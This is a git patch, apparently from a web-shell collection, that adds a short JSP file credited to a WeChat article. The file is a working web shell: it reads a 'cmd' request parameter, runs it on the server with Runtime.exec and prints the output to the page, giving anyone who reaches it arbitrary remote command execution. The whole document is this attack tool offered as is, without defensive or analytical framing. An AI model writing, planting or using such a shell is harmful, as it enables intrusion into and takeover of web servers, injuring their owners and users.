From 2c1c82b4c16b4cbcd5f3b2efd29d95b009ce6dfc Mon Sep 17 00:00:00 2001 From: tennc <670357+tennc@users.noreply.github.com> Date: Sat, 3 Sep 2022 11:06:58 +0800 Subject: [PATCH] Create 2022-09-03-01.jsp From: https://mp.weixin.qq.com/s/BlfQ0t9s0vpTZo6sndfteg Author: naihe567 --- jsp/2022-09-03-01.jsp | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 jsp/2022-09-03-01.jsp diff --git a/jsp/2022-09-03-01.jsp b/jsp/2022-09-03-01.jsp new file mode 100644 index 0000000..a277260 --- /dev/null +++ b/jsp/2022-09-03-01.jsp @@ -0,0 +1,17 @@ + +<%@ page import="java.io.InputStream" %> +<%@ page import="java.io.BufferedReader" %> +<%@ page import="java.io.InputStreamReader" %> +<%@page language="java" pageEncoding="utf-8" %> + + +<% + String cmd = request.getParameter("cmd"); + Process process = Runtime.getRuntime().exec(cmd); + InputStream is = process.getInputStream(); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); + String r = null; + while((r = bufferedReader.readLine())!=null){ + response.getWriter().println(r); + } +%>